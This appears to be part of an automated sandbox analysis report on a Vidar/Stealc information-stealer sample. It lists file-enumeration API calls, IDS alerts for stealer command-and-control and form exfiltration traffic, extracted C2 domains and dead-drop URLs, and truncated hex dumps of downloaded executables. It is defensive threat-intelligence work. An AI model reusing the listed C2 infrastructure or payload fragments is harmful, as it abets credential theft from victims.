Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	9_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	9_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	9_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	9_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	9_2_0040CD37
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 13_2_00859ABF FindFirstFileExW,	13_2_00859ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 9_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

9_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Temp\IDSM	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	8_2_0086E385
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	8_2_0086E385
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	9_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	9_2_004014AD
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	13_2_0086E385
Source: C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	13_2_0086E385

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022566 - Severity 1 - ET MALWARE Possible Malicious Macro EXE DL AlphaNumL : 192.168.2.5:49705 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.5:49810 -> 95.164.90.97:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.164.90.97:80 -> 192.168.2.5:49810
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 95.164.90.97:80 -> 192.168.2.5:49810
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.5:49951 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.164.90.97:80 -> 192.168.2.5:49973
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 95.164.90.97:80 -> 192.168.2.5:49973

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869
Source: Malware configuration extractor	URLs: https://t.me/maslengdsa

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:03 GMTContent-Type: application/octet-streamContent-Length: 585216Last-Modified: Mon, 07 Oct 2024 19:13:34 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "670432de-8ee00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 dd 32 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 e6 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 09 00 00 04 00 00 7c af 09 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 00 09 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 09 00 cc 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 27 06 00 00 d0 02 00 00 1a 06 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 00 09 00 00 04 00 00 00 ce 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 1a 00 00 00 10 09 00 00 1c 00 00 00 d2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:36 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:36 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:41 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:41 GMTContent-Type: application/octet-streamContent-Length: 608080Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-94750"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 19:18:42 GMTContent-Type: application/octet-streamContent-Length: 450024Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-6dde8"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 